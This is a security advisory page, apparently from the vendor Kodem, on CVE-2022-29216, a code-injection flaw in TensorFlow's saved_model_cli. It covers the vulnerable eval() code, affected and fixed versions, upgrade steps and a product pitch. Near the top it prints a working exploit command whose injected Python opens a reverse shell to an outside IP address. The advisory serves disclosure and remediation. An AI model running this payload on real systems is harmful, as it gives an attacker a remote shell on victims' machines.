CVE-2022-29216

Code injection in savedmodelcli in TensorFlow

saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default

def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
  # ...

  for input_raw in filter(bool, input_exprs_str.split(';')):
    # ...
    if safe:
      # ...
    else:
      # ast.literal_eval does not work with numpy expressions
      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used
  return input_dict

TensorFlow's saved_model_cli tool is vulnerable to a code injection:

saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2022-29216 has a CVSS score of 7.8 (High). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.6.4, 2.7.2, 2.8.1); upgrading removes the vulnerable code path.

Kodem intelligence

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We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

1. What is CVE-2022-29216? CVE-2022-29216 is a high-severity code injection vulnerability in tensorflow (pip), affecting versions < 2.6.4. It is fixed in 2.6.4, 2.7.2, 2.8.1. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2022-29216? CVE-2022-29216 has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2022-29216?
   • tensorflow (pip) (versions < 2.6.4)
   • tensorflow-cpu (pip) (versions < 2.6.4)
   • tensorflow-gpu (pip) (versions < 2.6.4)
4. Is there a fix for CVE-2022-29216? Yes. CVE-2022-29216 is fixed in 2.6.4, 2.7.2, 2.8.1. Upgrade to this version or later.
5. Is CVE-2022-29216 exploitable, and should I be worried? Whether CVE-2022-29216 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2022-29216 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2022-29216?
   • Upgrade tensorflow to 2.6.4 or later
   • Upgrade tensorflow-cpu to 2.6.4 or later
   • Upgrade tensorflow-gpu to 2.6.4 or later
   • Upgrade tensorflow to 2.7.2 or later
   • Upgrade tensorflow to 2.8.1 or later
   • Upgrade tensorflow-cpu to 2.7.2 or later
   • Upgrade tensorflow-cpu to 2.8.1 or later
   • Upgrade tensorflow-gpu to 2.7.2 or later
   • Upgrade tensorflow-gpu to 2.8.1 or later

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